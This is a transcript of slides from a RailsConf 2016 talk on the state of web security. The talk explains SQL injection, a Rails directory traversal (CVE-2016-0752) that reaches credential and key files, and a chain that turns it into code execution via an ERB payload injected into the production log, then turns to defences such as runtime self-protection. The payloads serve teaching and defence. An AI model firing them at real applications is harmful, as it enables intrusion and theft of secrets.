State of Web Security RailsConf 2016
2 likes666 views
The presentation discusses the various vulnerabilities in web security, highlighting issues such as SQL injection and directory traversal. It emphasizes the importance of code review, keeping frameworks updated, and employing security practices like static analysis and penetration testing. The speaker outlines strategies to protect applications, including properly handling file execution and tracking code execution to mitigate potential exploits.
![Directory Traversal
def show
render params[:template]
end](https://image.slidesharecdn.com/stateofwebsecurity-railsconf2016forupload-160508032057/85/State-of-Web-Security-RailsConf-2016-15-320.jpg)
State of Web Security RailsConf 2016
- 1. State of Web Security Mike Milner CTO @immunio RailsConf 2016
- 3. Today Checked in to my flight Read the News Paid for Parking Coffee with the Starbucks app Boarding Pass Slack Gmail Review some Pull Requests Uber RailsConf Schedule Trello Banking Facebook Twitter Ashley Madison Manage your corporate network
- 4. All On the Web
- 5. All On the Web Who is protecting my data?
- 6. How? Framework up to Date? Libraries Patched? Code Reviewed for Security? Monitoring for New CVEs? Reviewed External libraries? Static Analysis? Fixed Insecure Defaults?
- 7. Security is Hard But it can be SOOO Interesting :)
- 8. Three Types of Vulnerable Code • Code written by you • Code written by someone else • Code not written
- 9. SQL Injection • First publicly discussed in 1998. Well understood. • Largely fixed in all web apps. Right? "SELECT * FROM users WHERE name = '" + userName + "';" userName = “' OR 1=1 --“ SELECT * FROM users WHERE name = ‘’ OR 1=1 --‘;
- 10. Lost 100k customers and £60m 157,000 had details stolen
- 11. Names, email addresses, passwords, and home addresses of 4,833,678 parents 200,000 kids
- 12. Email addresses, phone numbers and dates of birth 656,723 customers Beer Vouchers
- 14. CVE-2016-0752 “Possible Information Leak Vulnerability” Credited to John Poulin at nVisium https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/ https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00
- 15. Directory Traversal def show render params[:template] end
- 16. What if we try: /etc/passwd ? Image credit: https://nvisium.com/blog
- 17. Directory Traversal • /etc/passwd • RAILS_ROOT/config/ secrets.yml • RAILS_ROOT/config/initializers/ secret_token.rb • SSL private keys • /proc/self/environ • /proc/<pid>/environ
- 18. Yikes!
- 19. Can We Execute Code? “Helpful” default behaviour in Rails Unknown extension defaults to ERB template <%= `whoami` %> Similar technique to CVE-2014-0130 as described by Jeff Jarmoc @ Matasano http://matasano.com/research/AnatomyOfRailsVuln-CVE-2014-0130.pdf
- 20. Basics Write code into file Ask Rails to execute it
- 21. Getting Code into a File Rails does this for us! /users/page?mycode=1234 Written to production.log /users/page?mycode=%3c%25%3d%20%60%69%64%60%20%25%3e <%= `whoami` %>
- 22. Putting it Together /users/../../../production.log? mycode=<%= `whoami` %> /users/%2e%2e%2f%2e%2e%2f%2e%2e%2flog%2fproduction%2elog? mycode=%3c%25%3d%20%60%69%64%60%20%25%3e
- 26. Warranty Fraud
- 27. How to protect? • Educate Developers • OWASP Top 10 • Stay up-to-date • Static Analysis • Manual Code Review • Pen-test
- 28. Active Defence Signature Based Hard to maintain, Easy to bypass WAF?
- 31. RASP Runtime Application Self Protection
- 32. Active Defence What was the actual exploit? A file was read that shouldn’t be read Shell commands were executed Move INSIDE the app and we can see these directly
- 33. Protect against the exploit • Uploaded images should not be executed as code • Don’t load configuration from /tmp • My app does NOT need to read or write anywhere inside /etc • In fact, the app shouldn’t be writing anywhere except / tmp and /var/log • And especially not be reading from /etc/ssl or ~/.ssh/id_rsa Track code that opens files
- 34. Protect against the exploit • Most apps don’t need to execute shell commands. FENCE IT OFF! • If you do need shell, track the code that runs commands. • The command that minifies my CSS should not be downloading and executing a perl script! • The command that sends an invoice should not be opening a reverse shell to Russia! • And block shell access from everywhere else. Track shell code execution
- 35. Inside the App Much more accurate Fewer false positives. • SQL Queries for SQL Injection • Template rendering for Cross Site Scripting • Authentication attacks and Brute Forcing • Cross Site Request Forgery
- 36. Inside the App Better Understanding of Vulnerabilities • Visibility down to the line of code. • See how bad input affects each template interpolation. • Monitor what libraries are installed and how they’re used. • Report gem versions that have known vulnerabilities.
- 37. Harden the App
- 38. SQL Injection with RASP • SELECT * FROM users WHERE name = ‘Mike’ • SELECT * FROM users WHERE name = ‘’ OR 1=1 --‘; • "SELECT * FROM users WHERE name = '" + userName + "';"
- 39. Rate Limiting • Count volume of events in a sliding time window • Take action when the threshold is exceeded
- 41. Three Types of Vulnerable Code • Code written by you • Code written by someone else • Code not written
- 43. Thank You! Mike Milner CTO @immunio RailsConf 2016 www.immun.io